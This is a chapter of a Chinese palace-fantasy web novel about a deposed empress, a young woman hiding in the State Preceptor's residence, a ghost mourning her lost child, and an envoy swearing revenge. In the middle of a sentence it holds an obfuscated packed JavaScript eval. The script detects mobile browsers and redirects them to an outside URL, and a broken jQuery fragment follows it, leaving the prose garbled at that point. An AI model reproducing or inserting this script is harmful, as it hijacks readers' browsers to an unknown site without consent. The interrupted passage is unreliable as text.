常青独自在养心殿坐了整夜。
烛火燃尽又换新,更漏滴答作响,将时间一寸寸拉长。他没有传膳,也没有召见任何人,只是望着窗外渐沉的夜色,直到天边泛起鱼肚白。
废后的旨意在天亮时分昭告六宫。没有冗长的罪名罗列,只有简短一句“德行有亏,难立中宫”。前朝想必已掀起轩然大波,赵家的门生故旧不会善罢甘休,边境的赵老将军得知爱女被废,又当如何反应。这些他都能预料,却奇异地不再去想。
内侍轻手轻脚进来禀报,说赵氏……前皇后已移居长门宫。常青只是点了点头。
他走到窗边,晨光熹微,宫人们正在远处清扫宫道,一切井然有序,仿佛昨夜那场大火和今日的废后风波都未曾发生。这深宫吞噬一条性命,废黜一个皇后,竟如此轻易。
国师府比温招想象中要清静许多。
她被安置在一处独立的小院,院墙高深,草木葱郁,几乎听不见外间的车马人声。带领她的老仆沉默寡言,只将一应起居用品安排妥当,便躬身退下,留她一人。
房间陈设雅致,却透着一股无人长久居住的冷清。榻上的锦被是新的,带着皂角的干净气味,案几上的茶壶水温正好。一切都周到,只是……
阮时逢没有出现。
晨光斜照进窗棂,在青砖地上投下细长的光影。温招独自坐在窗前,看着院子里那棵老槐树在风中轻轻摇曳。
魑惊端着早膳进来,动作比在宫里时轻快许多。她将清粥小菜摆好,低声道:“小姐,先用些饭食吧。”出了宫,称呼自然要改。
温招拿起竹箸,忽然想起什么:“柳含烟呢?”
魑惊指了指墙角那个不起眼的陶罐:“还在里面睡着。自出宫后她就一直这样安静,许是换了地方不太适应。”
温招走到陶罐前,指尖轻轻拂过冰凉的罐身。她能感觉到里面微弱的气息,像初春融雪时最后一片雪花,轻得几乎察觉不到。
“让她好好休息。”温招收回手,“这一路颠簸,对她损耗不小。”
用过早膳,她在院中慢慢踱步。这院子不大,却布置得极为精心。
东南角种着几丛翠竹,西北角搭了个小小的葡萄架,架子下摆着石桌石凳。
一切都很妥帖,唯独少了主人的身影。
这不像他平日作风。
以他的性子,本该第一时间就来见她,哪怕只是倚在门边似笑非笑地说几句风凉话。
魑惊收拾完碗筷,犹豫着开口:“娘娘,国师大人他……”
“他自有安排。”温招打断她,声音平静,“我们做好自己的事就好。”
话虽如此,她心里却隐隐觉得不安。阮时逢不是畏首畏尾之人,他既然敢策划这场金蝉脱壳,就必定做好了万全准备。
如今避而不见,只怕是宫中的局势比预想的更复杂,或者他还有什么别的打算。
她在石凳上坐下,从袖中取出那日在稚趣斋买的拨浪鼓。
红漆小珠随着她的动作轻轻敲击鼓面,发出清脆的声响。这声音让她想起阮时逢说起他母亲时的神情,那种云淡风轻,他真的不在意吗?
一方水土养一方苦难,每个人有独属于自己的痛楚。
国师府的清晨格外安静,只闻风吹竹叶的沙沙声。温招在院中石凳上坐了一会儿,目光落在手中的拨浪鼓上。红漆小珠安静地垂着,不再发出声响。
她起身,将纸做的拨浪鼓递给候在一旁的魑惊:“把这个送到西北角那间屋子,在门口放到火盆里烧了。”
魑惊接过拨浪鼓,手指微微收紧。她望向院子最深处那间终年不见阳光的厢房,喉咙有些发干,但还是打算前去。
“她不会伤你。”温招看到她的神情,轻声开口,“把东西放在门口,说是我送的即可。”
魑惊深吸一口气,捧着拨浪鼓慢慢走向西北角。越靠近那间屋子,空气越发阴凉,明明是同个院子,这里却像提前入了秋。她停在门前三步远的地方,将拨浪鼓轻轻放在青石阶上。
“柳……柳姑娘,”她声音发紧,“这是小姐送您的。”
随后魑惊颤巍巍的蹲下身,将拨浪鼓放在黄铜盆里,点燃了火。
做完这些,她几乎是逃也似的退开,直到回到温招身边才松了口气,后背竟沁出薄汗。
温招看着那扇紧闭的房门,目光沉静。
过了约莫半炷香的功夫,门无声地开了一条缝。
一只苍白得近乎透明的手从门缝里伸出,小心翼翼地碰了碰拨浪鼓的红漆小珠。
“咚……”
极轻的一声响,在寂静的院落里格外清晰。
那只手停顿片刻,慢慢将拨浪鼓拿进了屋里。
门又悄无声息地合拢,仿佛从未开启过。
魑惊只看到了门莫名其妙的开了,下意识往温招身边靠了靠。
“她应当很寂寞。”温招转身往主屋走去,“比起活人,有时这些小玩意更能让她安心。”
而门内,柳含烟半透明的身影倚在门板上,双手捧着那个小小的拨浪鼓。
她低头看着,指尖轻轻拂过光滑的鼓身,那上面还残留着一点阳光的温度,是她早已忘记的触感。
一丝模糊的笑意刚要在她唇边浮现,记忆却像猝不及防的潮水,猛地撞进她空茫的脑海。
也是一个这样的拨浪鼓,旧些,漆色暗淡,被一只温暖的小手握着,在她眼前欢快地摇晃。
“咚,咚,咚……”伴随着稚嫩清脆的笑声,一声声敲在她曾经跳动的心口。
那是她的孩子。
她下意识地抬手,想抚摸什么,指尖却毫无阻碍地穿透了自己冰冷的脸颊。
没有温度,没有实体,只有一片虚无。
她怔住了,低头看着自己透明的手,又看向怀中实实在在的拨浪鼓。
那鲜亮的红色
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440733|176822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,此刻刺得她魂体都在发颤。
喜悦像短暂的萤火,乍亮即灭,随之而来的是更深、更沉的空洞。
她终于清晰地记起,能让她露出那样笑容的人,早已不在了。
连同她曾经拥有过的温度和心跳,都一起湮灭在过去的尘埃里。
物是人非。
这四个字,对活人而言是感慨,于她,却是刻在魂魄里每一寸的真相。
她将拨浪鼓紧紧按在胸口,那个再也不会跳动的地方。
没有泪水,魂灵流不出眼泪,只有无声的悲恸在冰冷的空气中缓缓弥漫。
失去即失去,回忆也变成了臆想。
窗外阳光正好,却照不进这间屋子,也照不亮她永夜的归途。
温韫收到京中急报时,正在南漳官驿核对卷宗。
驿卒将密封的信函呈上,低声说了句“京中变故”。他拆信的手指很稳,直到目光扫过“栖梧宫走水”“良妃殁”那几个字时,指尖才几不可察地一颤。纸张发出轻微的嘶响,边缘被捏出褶皱。
他维持着低头的姿势很久,久到驿卒不安地抬眼偷觑,只见这位年轻的钦差面沉如水,唯有眼底深处有什么东西在寸寸冻结。
“知道了。”他的声音平稳得听不出异样,“下去吧。”
驿卒躬身退出。门合上的瞬间,温韫猛地抬手撑住桌沿,指节因用力而泛白。窗外是南漳陌生的街市喧闹,而他的世界在那一刻万籁俱寂。
他想起离京前最后一次见她。宫道悠长,她穿着素净的宫装走在前面,背影清瘦,步伐却稳。
他没有上前,只是远远看着,想着办完这趟差事回来,或许能寻个由头去栖梧宫请个安,哪怕只是隔着帘子听她说两句话。
如今连这点念想也成了灰。
心脏后知后觉地传来一阵剧烈的抽痛,像是被无形的利器贯穿。
他闭上眼,深深吸了口气,南漳潮湿闷热的空气吸入肺腑,带着一股黏腻的腥气。
再睁眼时,他眼底那点波澜已平复,只剩下深不见底的寒。
他慢慢坐回椅中,将那张信纸凑近灯烛。
火舌舔舐纸张,蔓延过那些冰冷的字句,最后在他指尖化为灰烬。
有些离别,来不及说再见,就已经阴阳两隔。
他摊开南漳的地图,目光落在西面那片标注着深山老林的区域。
那里是邪祟出没之地,也是他此行的目的地。
指尖划过粗糙的纸面,他的眼神一点点变得锐利而冰冷。
从前他只想办好差事,不负圣恩,也能……离她近一些。如今她都不在了,这些还有什么意义。
但害她的人,不能白白放过。
常青。他在心底默念这个名字,齿间弥漫开铁锈般的味道。那个她名义上的夫君,那个坐拥江山却护不住她的男人。
烛火噼啪一声,拉长了他的影子,孤直地投在墙壁上。